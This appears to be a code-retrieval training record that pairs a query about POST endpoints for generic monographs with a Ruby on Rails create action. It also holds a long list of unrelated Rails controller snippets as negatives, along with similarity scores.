"def index\n @dis_generic_monographs = DisGenericMonograph.all\n end",
"def set_generic_monograph\n @generic_monograph = DisGenericMonograph.find(params[:id])\n end",
"def set_dis_generic_monograph\n @dis_generic_monograph = DisGenericMonograph.find(params[:id])\n end",
"def show\n @monit = Monit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @monit }\n end\n end",
"def index\n @mugshots = Mugshot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mugshots }\n end\n end",
"def index\n @carbon_monoxides = CarbonMonoxide.all\n render json: @carbon_monoxides\n end",
"def get\n\t\t\t result = Status.find_by(windmillid: params[:windmillid]) \n \t\t\trender json: [result.as_json(only: [:status,:power,:gen,:frequency,:rotor,:wind,:pitch])]\n\tend",
"def movie_data\n response = RestClient.get(\"critics.api.mks.io/movie-genres\")\n JSON.parse(response)\nend",
"def create\n @dis_generic_monograph = DisGenericMonograph.new(dis_generic_monograph_params)\n\n respond_to do |format|\n if @dis_generic_monograph.save\n format.html { redirect_to @dis_generic_monograph, notice: 'Dis generic monograph was successfully created.' }\n format.json { render :show, status: :created, location: @dis_generic_monograph }\n else\n format.html { render :new }\n format.json { render json: @dis_generic_monograph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @testmonials = Testmonial.all\n\n render json: @testmonials\n end",
"def index\n @movers = Mover.all\n\n render json: @movers\n end",
"def show\n @stat_misc = StatMisc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stat_misc }\n end\n end",
"def get_all_monsters\n render :json => {:success => \"true\",\n :data => {\n :monsters => @user.monsters.blank? ? Array.new : @user.monsters.map { |mon| {:id => mon.id, :name => mon.name, :team_count => mon.teams.size} }\n }}\n end",
"def index\n @magissues = Magissue.all\n @magazines = Magazine.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @magissues }\n end\n end",
"def new\n @monit = Monit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @monit }\n end\n end",
"def index\n @wms = WmsResult.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wms }\n end\n end",
"def index\n @microroles = Microrole.includes(:verb_coding_frame_microroles).readonly(false).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @microroles }\n end\n end",
"def get_monster_info\n monster_string = RestClient.get('http://www.dnd5eapi.co/api/monsters/')\n monster_hash = JSON.parse(monster_string)\n monster_info = monster_hash[\"results\"]\n monster_info\nend",
"def index\n @machines = Machine.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @machines }\n end\n end",
"def index\n @mobs_nanos = MobsNano.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @mobs_nanos.to_xml }\n end\n end",
"def show\n @motivational_image = MotivationalImage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @motivational_image }\n end\n end",
"def index\n @imagems = Imagem.where(:imovel_id => current_user.imovels {|i| i.id})\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @imagems }\n end\n end",
"def index\n @musics = Music.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @musics }\n end\n end",
"def index\n @networkings = Networking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @networkings }\n end\n end",
"def index\n @pictures = @museum.pictures.all #Picture.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end",
"def index\n @medications = Medication.all\n render json: @medications\n end",
"def index\n @generations = Generation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @generations }\n end\n end",
"def index\n @musics = Music.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @musics }\n end\n end",
"def index\n @genotypes = Genotype.paginate(:page => params[:page], :per_page => 10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @genotypes }\n end\n end",
"def index\n @mercado_meta = MercadoMetum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mercado_meta }\n end\n end",
"def index\r\n @machines = Machine.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @machines }\r\n end\r\n end",
"def show\n @monel = Monel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @monel }\n end\n end",
"def list\n # ready the json object!\n render status: 200, json: SystemMapSystem.all.as_json(include: {\n discovered_by: { only: [], methods: [:main_character] },\n system_objects: { include: { flora: {}, fauna: {}, observations: {}, discovered_by: { only: [], methods: [:main_character] }, system_map_images: {}, object_type: {}, locations: { methods: [:primary_image_url] }, atmo_compositions: { include: { atmo_gas: {} } } }, methods: [:primary_image_url] },\n planets: { include: { flora: {}, fauna: {}, settlements: { include: { locations: { methods: [:primary_image_url] } }, methods: [:primary_image_url] }, observations: {}, discovered_by: { only: [], methods: [:main_character] }, system_map_images: {}, locations: { include: { system_map_images: {} }, methods: [:primary_image_url] }, moons: { include: { flora: {}, fauna: {}, settlements: { include: { locations: { methods: [:primary_image_url] } }, methods: [:primary_image_url] }, observations: {}, discovered_by: { only: [], methods: [:main_character] }, system_map_images: {}, locations: { methods: [:primary_image_url] }, moon_types: {}, system_objects: { include: { flora: {}, fauna: {}, object_type: {}, locations: { methods: [:primary_image_url] } }, methods: [:primary_image_url] }, atmo_compositions: { include: { atmo_gas: {} } } }, methods: [:primary_image_url] }, planet_types: {}, system_objects: { include: { flora: {}, fauna: {}, object_type: {}, locations: { methods: [:primary_image_url] } }, methods: [:primary_image_url] }, atmo_compositions: { include: { atmo_gas: {} } } }, methods: [:primary_image_url] },\n gravity_wells: { include: { observations: {}, discovered_by: { only: [], methods: [:main_character] }, system_map_images: {}, gravity_well_type: { }, luminosity_class: { } }, methods: [:primary_image_url] } },\n methods: :jump_points)\n\n end",
"def show\n @miccropost = Miccropost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @miccropost }\n end\n end",
"def index\n @ginasios = Ginasio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ginasios }\n end\n end",
"def index\n @nvs_mig_statuses = NvsMigStatus.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @nvs_mig_statuses }\n end\n end",
"def new\n @stat_misc = StatMisc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stat_misc }\n end\n end",
"def serv_json\n \"http://api.dribbble.com/shots/popular?page=1\"\n end",
"def index\n @walls = Wall.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @walls }\n end\n end",
"def index\n @infrastructures = getmydata(\"Infrastructure\")\n pagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @infrastructures }\n end\n end",
"def show\n @monnaie = Monnaie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @monnaie }\n end\n end",
"def show\n @title = \"Current Medic\"\n @medic = Medic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @medic }\n end\n end",
"def index\n @servers = getmydata(\"Server\")\n\tpagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @servers }\n end\n end",
"def index\n weathers = Weather.all\n render json: weathers, status: 200\n end",
"def show\n @aggregate_metadatum = AggregateMetadatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aggregate_metadatum }\n end\n end",
"def generic_monograph_params\n params.require(:generic_monograph).permit(:generic_id, :dose, :contraindication, :precaution, :adverse_effect, :storage, :datasource_id, :status_id)\n end",
"def show\n @gymnasium = Gymnasium.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gymnasium }\n end\n end",
"def show\n @physic = Physic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @physic }\n end\n end",
"def index\n if params[:floor_id]\n data = {Image: [{id: params[:floor_id], Tags: Tag.find_by(floor: params[:floor_id])}]}\n else\n data = Tag.all\n end\n render json: data\n end",
"def show\n @precious_metal = PreciousMetal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @precious_metal }\n end\n end",
"def show\n @mision = Mision.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mision }\n end\n end",
"def index\n @lophs = Loph.all\n respond_to do |format|\n format.html\n format.json { render json: @lophs}\n end\n end",
"def index\n @shots = Shot.all\n\n render json: @shots\n end",
"def get_monsters\n @all_monsters\n end",
"def update\n respond_to do |format|\n if @dis_generic_monograph.update(dis_generic_monograph_params)\n format.html { redirect_to @dis_generic_monograph, notice: 'Dis generic monograph was successfully updated.' }\n format.json { render :show, status: :ok, location: @dis_generic_monograph }\n else\n format.html { render :edit }\n format.json { render json: @dis_generic_monograph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @buildings = Building.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json :@buildings }\n end\n end",
"def show\n @metum = Metum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @metum }\n end\n end",
"def index\n @mini_games = MiniGame.all\n render json: @mini_games, status: :ok\n end",
"def index\n @micropots = Micropot.all\n end",
"def index\n @dog_walks = DogWalk.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @dog_walks }\n end\n \n end",
"def show\n @mi = Mi.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mi }\n end\n end",
"def index\n hardware = Hardware.all\n render json: hardware.to_json(:except => [:id])\n end",
"def index\n @concept_maps = ConceptMap.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json:@concept_maps }\n end\n end",
"def index\n @military_battle_rounds = Military::BattleRound.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @military_battle_rounds }\n end\n end",
"def index\n @title = \"Doctor List\"\n @medics = Medic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @medics }\n end\n end",
"def index\n\n @metro_lines = MetroLine.all\n\n render json: @metro_lines\n\n end",
"def index\r\n @imobiliarias = Imobiliaria.all\r\n\r\n respond_to do |format|\r\n # format.html # index.html.erb\r\n format.json { render json: @imobiliarias }\r\n end\r\n end",
"def index\n @machines = @location.machines\n @machine = Machine.new\n @titles = Title.all\n\n respond_to do |format|\n format.html {require_user}\n format.json { render json: @machines }\n end\n end",
"def show\n @medio = Medio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @medio }\n end\n end",
"def index\n @pictures = @album.pictures #JRD111115\n\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @pictures}\n end\n end",
"def getmill\n\tformid = Windmill.where(windformid: params[:id])\n\tif formid.present?\n render json: formid.as_json(only:[:no])\n\telse\n\t\trender json: {massage: 'Windform not found'}\n\tend\nend",
"def index\n # @cd = DisGenericMonograph.all\n c = DisGenericMonograph.paginate(:page => params[:page], :per_page => 10)\n e = c.count\n c = c.as_json\n d = [{\"Count\" => e}]\n m = {\"a\" => c ,\"b\" => d}\n # n = c.to_a << @m\n respond_with m\n end",
"def index\n @municipios = Municipio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @municipios }\n end\n end",
"def new\n @title = \"New Medic\"\n @medic = Medic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @medic }\n end\n end",
"def index\n \tif params[:category] == \"METRO\"\n \trender :json => Interest.stops.to_json\n elsif params[:category] == \"Photos\"\n render :json => Interest.panoramio\n \telsif params[:category]\n \t\tcategory_id = Category.find_by_name(params[:category]).id\n \t\trender :json => Interest.find_all_by_category_id(category_id).to_json(:methods => :category_name)\n \telse\n \t\trender :json => Interest.all\n \tend\n\n end",
"def show\n @photoid = Photoid.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photoid }\n end\n end",
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/photos/#{params[:id]}.json?token=#{ENV['API_KEY']}\"\n\t response = RestClient.get(url)\n\t @photo = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/photos.json?token=#{ENV['API_KEY']}\"\n response = RestClient.get(url)\n @photos = JSON.parse(response.body)\t\t \n\tend\n end",
"def show\n @sermon_picture = SermonPicture.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sermon_picture }\n end\n end",
"def index\n @moons = Moon.all\n end",
"def index\n # @microposts = Micropost.all\n @microposts = Micropost.paginate(page: params[:page], per_page: 20)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @microposts }\n end\n end",
"def show\n @micrrapost = Micrrapost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @micrrapost }\n end\n end",
"def index\n @estacionamientos = Estacionamiento.all\n\n @json = Estacionamiento.all.to_gmaps4rails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @estacionamientos }\n end\n end",
"def index\n @regimes = Regime.all\n # respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @regimes }\n # end\n end",
"def index\n @activity = Activity.find(params[:activity_id])\n @pictures = @activity.pictures\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end",
"def index\n\t@instruction = Instruction.find( params[ :instruction_id ] )\n @testimonies = @instruction.testimonies.page( params[ :page ] ).per(20)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @testimonies }\n end\n end",
"def index\n @photos = Photo.all\n\n render json: @photos\n end",
"def show\n @microposst = Microposst.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @microposst }\n end\n end",
"def show\n @momsg = Momsg.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @momsg }\n end\n end",
"def index\n @mirrors = Mirror.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mirrors }\n end\n end",
"def new\n @physic = Physic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @physic }\n end\n end",
"def get_batterie_by_building\n @battery = Battery.where(building_id: params[:building_id])\n respond_to do |format| \n format.json { render :json => @battery }\n end\n \n end",
"def index\n respond_to do |format|\n format.html do\n @recent_objects = BiologicalRelationship.recent_from_project_id(sessions_current_project_id).order(updated_at: :desc).limit(10)\n render '/shared/data/all/index'\n end\n format.json {\n @biological_relationships = BiologicalRelationship.with_project_id(sessions_current_project_id).order(:name)\n }\n end\n end",
"def index\n @core_machines = Core::Machine.scoped\n\n respond_to do |format|\n format.html { @core_machines = @core_machines.page(params[:page]) }\n format.json { render json: @core_machines }\n end\n end",
"def index\n @mtypes = Mtype.order(:code)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mtypes }\n end\n end",
"def show\n @mugshot = Mugshot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mugshot }\n end\n end",
"def index\n @maps = Map.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @maps }\n end\n end",
"def index\n @majors = majors\n respond_to do |format|\n format.json{\n return render json: ret\n }\n end\n end",
"def show\n render json: @carbon_monoxide\n end",
"def index\n @physical_racks = PhysicalRack.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @physical_racks }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end"
] |
[
"0.7117769",
"0.68601",
"0.6176479",
"0.6096295",
"0.60313207",
"0.5977206",
"0.59743595",
"0.59550494",
"0.58728987",
"0.5868262",
"0.57663786",
"0.5741195",
"0.5739581",
"0.572653",
"0.56960005",
"0.56865853",
"0.5683712",
"0.567336",
"0.56633085",
"0.56395644",
"0.56324846",
"0.56320417",
"0.56263715",
"0.5624764",
"0.5608221",
"0.56058383",
"0.5604894",
"0.560066",
"0.55973715",
"0.5591008",
"0.5590866",
"0.55878776",
"0.55839956",
"0.55739677",
"0.5567691",
"0.5565091",
"0.5562075",
"0.5561959",
"0.55580795",
"0.55501735",
"0.55330026",
"0.55184376",
"0.5518119",
"0.55083084",
"0.55016285",
"0.54653966",
"0.54639107",
"0.54622865",
"0.5459283",
"0.54575884",
"0.5455422",
"0.54548955",
"0.5446318",
"0.544455",
"0.54358894",
"0.543572",
"0.5434775",
"0.54321396",
"0.54299206",
"0.5416762",
"0.5416481",
"0.54009527",
"0.54003286",
"0.53981864",
"0.5395775",
"0.5394955",
"0.5391708",
"0.5391586",
"0.53904235",
"0.53866047",
"0.5384627",
"0.53819484",
"0.53792286",
"0.5377983",
"0.5371963",
"0.5369667",
"0.5362871",
"0.5361624",
"0.5356624",
"0.5356109",
"0.5352607",
"0.53496695",
"0.5344106",
"0.53440356",
"0.53424644",
"0.5342329",
"0.5339309",
"0.5339068",
"0.5335124",
"0.53314495",
"0.5328233",
"0.53281826",
"0.53255934",
"0.5325346",
"0.5324776",
"0.5322399",
"0.5317016",
"0.53112376",
"0.5311223",
"0.5311121"
] |
0.60208786
|
5
|
POST /generic_monographs POST /generic_monographs.json
|
def create
@generic_monograph = DisGenericMonograph.new(generic_monograph_params)
if @generic_monograph.save
flash[:notice] = "Task was successfully created."
respond_with(@generic_monograph)
else
flash[:notice] = "Task was not created."
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @dis_generic_monograph = DisGenericMonograph.new(dis_generic_monograph_params)\n\n respond_to do |format|\n if @dis_generic_monograph.save\n format.html { redirect_to @dis_generic_monograph, notice: 'Dis generic monograph was successfully created.' }\n format.json { render :show, status: :created, location: @dis_generic_monograph }\n else\n format.html { render :new }\n format.json { render json: @dis_generic_monograph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def generic_monograph_params\n params.require(:generic_monograph).permit(:generic_id, :dose, :contraindication, :precaution, :adverse_effect, :storage, :datasource_id, :status_id)\n end",
"def set_generic_monograph\n @generic_monograph = DisGenericMonograph.find(params[:id])\n end",
"def index\n @dis_generic_monographs = DisGenericMonograph.all\n end",
"def create\n megam_rest.post_promos(to_hash) #WONT BE USED AS OF NOW\n end",
"def dis_generic_monograph_params\n params.require(:dis_generic_monograph).permit(:generic_id, :dose, :contraindication, :precaution, :adverse_effect, :storage, :datasource_id, :status_id)\n end",
"def create\n @monit = Monit.new(params[:monit])\n\n respond_to do |format|\n if @monit.save\n format.html { redirect_to @monit, notice: 'Monit was successfully created.' }\n format.json { render json: @monit, status: :created, location: @monit }\n else\n format.html { render action: \"new\" }\n format.json { render json: @monit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @testmonial = Testmonial.new(testmonial_params)\n\n if @testmonial.save\n render json: @testmonial, status: :created\n else\n render json: @testmonial.errors, status: :unprocessable_entity\n end\n end",
"def create\n @mobs_nano = MobsNano.new(params[:mobs_nano])\n\n respond_to do |format|\n if @mobs_nano.save\n flash[:notice] = 'MobsNano was successfully created.'\n format.html { redirect_to mobs_nano_url(@mobs_nano) }\n format.xml { head :created, :location => mobs_nano_url(@mobs_nano) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @mobs_nano.errors.to_xml }\n end\n end\n end",
"def set_dis_generic_monograph\n @dis_generic_monograph = DisGenericMonograph.find(params[:id])\n end",
"def create\n @meteo_datum = MeteoDatum.new(meteodatum_params)\n @meteo_datum.weather_station_id = params[:weather_station_id]\n\n if @meteo_datum.save\n render json: @meteo_datum, status: :created\n else\n render json: @meteo_datum.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @dis_generic_monograph.update(dis_generic_monograph_params)\n format.html { redirect_to @dis_generic_monograph, notice: 'Dis generic monograph was successfully updated.' }\n format.json { render :show, status: :ok, location: @dis_generic_monograph }\n else\n format.html { render :edit }\n format.json { render json: @dis_generic_monograph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @monument = Monument.new(monument_params)\n\n respond_to do |format|\n if @monument.save\n format.html { redirect_to @monument, notice: 'Monument was successfully created.' }\n format.json { render :show, status: :created, location: @monument }\n else\n format.html { render :new }\n format.json { render json: @monument.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @moretinymap = Moretinymap.new(params[:moretinymap])\n\n respond_to do |format|\n if @moretinymap.save\n format.html { redirect_to @moretinymap, notice: 'Moretinymap was successfully created.' }\n format.json { render json: @moretinymap, status: :created, location: @moretinymap }\n else\n format.html { render action: \"new\" }\n format.json { render json: @moretinymap.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @micropot = Micropot.new(micropot_params)\n\n respond_to do |format|\n if @micropot.save\n format.html { redirect_to @micropot, notice: 'Micropot was successfully created.' }\n format.json { render :show, status: :created, location: @micropot }\n else\n format.html { render :new }\n format.json { render json: @micropot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @monel = Monel.new(params[:monel])\n\n respond_to do |format|\n if @monel.save\n format.html { redirect_to @monel, notice: 'Monel was successfully created.' }\n format.json { render json: @monel, status: :created, location: @monel }\n else\n format.html { render action: \"new\" }\n format.json { render json: @monel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @moon = Moon.new(moon_params)\n\n respond_to do |format|\n if @moon.save\n format.html { redirect_to @moon, notice: 'Moon was successfully created.' }\n format.json { render :show, status: :created, location: @moon }\n else\n format.html { render :new }\n format.json { render json: @moon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @monnaie = Monnaie.new(params[:monnaie])\n\n respond_to do |format|\n if @monnaie.save\n format.html { redirect_to @monnaie, notice: 'Monnaie was successfully created.' }\n format.json { render json: @monnaie, status: :created, location: @monnaie }\n else\n format.html { render action: \"new\" }\n format.json { render json: @monnaie.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @generic_monograph.update(generic_monograph_params)\n format.html { redirect_to @generic_monograph, notice: 'Combination dose was successfully updated.' }\n format.json { render :show, status: :ok, location: @generic_monograph }\n else\n format.html { render :edit }\n format.json { render json: @generic_monograph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @carbon_monoxide = CarbonMonoxide.new(carbon_monoxide_params)\n\n if @carbon_monoxide.save\n render json: @carbon_monoxide, status: :created, location: @carbon_monoxide\n else\n render json: @carbon_monoxide.errors, status: :unprocessable_entity\n end\n \n end",
"def create\n @measurement = Measurement.new( measurement_params )\n\n # TODO \n unless @measurement.save\n render status: 500, json: @measurement.errors.full_messages\n end\n \n data = {\n circles: @measurement.circles.to_json \n }\n render status: :ok, json: @measurement if @measurement.valid?\n \n end",
"def moip_post\n @nasp_rail = NaspRail.new(params[:nasp_rail])\n\n format.html { redirect_to @nasp_rail, :notice => 'Nova entrada criada com sucesso.' }\n format.json { render :json => @nasp_rail, :status => :created, :location => @nasp_rail }\n end",
"def create\n @moniitor = Moniitor.new(moniitor_params)\n\n respond_to do |format|\n if @moniitor.save\n format.html { redirect_to @moniitor, notice: 'Moniitor was successfully created.' }\n format.json { render :show, status: :created, location: @moniitor }\n else\n format.html { render :new }\n format.json { render json: @moniitor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @generic = Generic.new(generic_params)\n\n respond_to do |format|\n if @generic.save\n format.html { redirect_to @generic, notice: 'Generic was successfully created.' }\n format.json { render :show, status: :created, location: @generic }\n else\n format.html { render :new }\n format.json { render json: @generic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @type = params[:type]\n item = params.require(:item)\n @mac = item.require(:machine)\n machine = Machine.check(@mac.permit(:mac))\n\n data = item.require(:data)\n @result = Array.new\n data.each do |d|\n @result << machine.wbgts.create(d.permit(:black, :dry, :wet, :humidity, :wbgt_data, :date, :beginning))\n end\n\n render :status => :created\n end",
"def create\n @micorpost = Micorpost.new(params[:micorpost])\n\n respond_to do |format|\n if @micorpost.save\n format.html { redirect_to @micorpost, notice: 'Micorpost was successfully created.' }\n format.json { render json: @micorpost, status: :created, location: @micorpost }\n else\n format.html { render action: \"new\" }\n format.json { render json: @micorpost.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stat_misc = StatMisc.new(params[:stat_misc])\n\n respond_to do |format|\n if @stat_misc.save\n format.html { redirect_to @stat_misc, notice: 'Stat misc was successfully created.' }\n format.json { render json: @stat_misc, status: :created, location: @stat_misc }\n else\n format.html { render action: \"new\" }\n format.json { render json: @stat_misc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @monit = Monit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @monit }\n end\n end",
"def create\n @precious_metal = PreciousMetal.new(params[:precious_metal])\n\n respond_to do |format|\n if @precious_metal.save\n format.html { redirect_to @precious_metal, :notice => 'Precious metal was successfully created.' }\n format.json { render :json => @precious_metal, :status => :created, :location => @precious_metal }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @precious_metal.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @miccropost = Miccropost.new(params[:miccropost])\n\n respond_to do |format|\n if @miccropost.save\n format.html { redirect_to @miccropost, notice: 'Miccropost was successfully created.' }\n format.json { render json: @miccropost, status: :created, location: @miccropost }\n else\n format.html { render action: \"new\" }\n format.json { render json: @miccropost.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @micrrapost = Micrrapost.new(params[:micrrapost])\n\n respond_to do |format|\n if @micrrapost.save\n format.html { redirect_to @micrrapost, notice: 'Micrrapost was successfully created.' }\n format.json { render json: @micrrapost, status: :created, location: @micrrapost }\n else\n format.html { render action: \"new\" }\n format.json { render json: @micrrapost.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @photograph = Photograph.new(photograph_params)\n @photograph.influencer_id = current_influencer.id\n\n respond_to do |format|\n if @photograph.save\n format.html { redirect_to @photograph, notice: 'Photograph was successfully created.' }\n format.json { render :show, status: :created, location: @photograph }\n else\n format.html { render :new }\n format.json { render json: @photograph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wod = Wod.new(wod_params)\n\n if @wod.save\n render json: @wod, status: :created\n else\n render json: @wod.errors, status: :unprocessable_entity\n end\n end",
"def create\n @aggregate_metadatum = AggregateMetadatum.new(params[:aggregate_metadatum])\n\n respond_to do |format|\n if @aggregate_metadatum.save\n format.html { redirect_to @aggregate_metadatum, notice: 'Aggregate metadatum was successfully created.' }\n format.json { render json: @aggregate_metadatum, status: :created, location: @aggregate_metadatum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @aggregate_metadatum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @micropst = Micropst.new(micropst_params)\n\n respond_to do |format|\n if @micropst.save\n format.html { redirect_to @micropst, notice: \"Micropst was successfully created.\" }\n format.json { render :show, status: :created, location: @micropst }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @micropst.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @gymnasium = Gymnasium.new(params[:gymnasium])\n\n respond_to do |format|\n if @gymnasium.save\n format.html { redirect_to @gymnasium, notice: 'Gymnasium was successfully created.' }\n format.json { render json: @gymnasium, status: :created, location: @gymnasium }\n else\n format.html { render action: \"new\" }\n format.json { render json: @gymnasium.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @osm = Osm.new(osm_params)\n\n respond_to do |format|\n if @osm.save\n format.html { redirect_to @osm, notice: 'Osm was successfully created.' }\n format.json { render :show, status: :created, location: @osm }\n else\n format.html { render :new }\n format.json { render json: @osm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mwod_tag = MwodTag.new(params[:mwod_tag])\n\n respond_to do |format|\n if @mwod_tag.save\n format.html { redirect_to @mwod_tag, notice: 'Mwod tag was successfully created.' }\n format.json { render json: @mwod_tag, status: :created, location: @mwod_tag }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mwod_tag.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @musictrack = Musictrack.new(musictrack_params)\n\n respond_to do |format|\n if @musictrack.save\n format.html { redirect_to @musictrack, notice: 'Musictrack was successfully created.' }\n format.json { render :show, status: :created, location: @musictrack }\n else\n format.html { render :new }\n format.json { render json: @musictrack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @methodology = Methodology.new(methodology_params)\n\n respond_to do |format|\n if @methodology.save\n User.post_feed(current_user, \"#{current_user.full_name} criou uma metodologia - #{@methodology.title}\")\n format.html { redirect_to my_profile_path, notice: 'Metodologia criada com sucesso.' }\n format.json { render action: 'show', status: :created, location: @methodology }\n else\n format.html { render action: 'new' }\n format.json { render json: @methodology.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mood_datum = MoodDatum.new(mood_datum_params)\n \n respond_to do |format|\n if @mood_datum.save \n params['significant_events'].each do |key,value| \n PatientSignificantEvent.create(:patient_id =>@mood_datum.user_id ,:doctor_id => @mood_datum.doctor_id ,:mood_data_id =>@mood_datum.id ,:comments => value )\n end \n format.html { redirect_to new_mood_datum_path(:patient => current_user.id), notice: 'Mood datum was successfully created.' }\n format.json { render action: 'show', status: :created, location: @mood_datum }\n else\n format.html { render action: 'new' }\n format.json { render json: @mood_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @musica = Musica.new(musica_params)\n\n respond_to do |format|\n if @musica.save\n format.html { redirect_to @musica, notice: 'Álbum publicada com sucesso!' }\n format.json { render :show, status: :created, location: @musica }\n else\n format.html { render :new }\n format.json { render json: @musica.errors, status: :unprocessable_entity }\n end\n end\n end",
